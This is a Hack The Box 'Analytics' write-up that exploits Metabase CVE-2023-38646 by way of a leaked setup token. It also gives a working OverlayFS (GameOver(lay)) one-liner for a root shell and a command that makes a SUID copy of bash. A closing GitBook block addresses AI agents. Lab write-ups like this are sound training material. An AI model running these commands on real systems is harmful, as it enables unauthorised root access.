> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-analytics.md).
# HTB - Analytics
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh
80/tcp open http nginx 1.18.0 (Ubuntu)
```
### HTTP
Add the leaked domain name to the hosts file and refresh to access the content.
possible usernames
contact form on the web page but it is static so cross site scripting does not work.
That said enumerating for hidden vhosts leaked a new one called data add it to the hosts file and browse to it to access it.
The subdomain hosts a login page for metabase.
looking for public cve reveals it suffers from a remote code execution vulnerability.
searching for version in the html source reveals the version which is vulnerable to the CVE-2023-38646.
### CVE-2023-38646
{% embed url="" %}
The above blog details the exploit.
The vulnerability exists in the `/api/setup/validate` endpoint and it requires a valid setup token which can be fetched by calling the pre-auth API `/api/session/properties`.
so the setup token is : `249fa03d-fd94-4d5b-b94f-b4ebf3df681f`
Found this poc to exploit the vulnerability.
{% embed url="" %}
## Shell as metabase
looking at the environment variables leaks the credentials.
## Shell as Metalytics
kernel version is vulnerable to **GameOver(lay)** — **CVE-2023-2640** + **CVE-2023-32629**, an OverlayFS LPE that hits Ubuntu kernels ≤ 6.2.0-25-generic.
{% embed url="" %}
the above blog post explains how to exploit.
run the below one liner to get root shell
```bash
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'"
```
## Shell as Root
exit and set the suid bit on /bin/bash
```bash
~/u/python3 -c 'import os; os.setuid(0); os.system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash")'
```
When you run `u/python3` from the real host shell (not inside `unshare`), the `cap_setuid` capability operates at true host level so `os.setuid(0)` makes you genuinely root on the host, and the `cp`/`chmod` calls work against the real filesystem.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-analytics.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
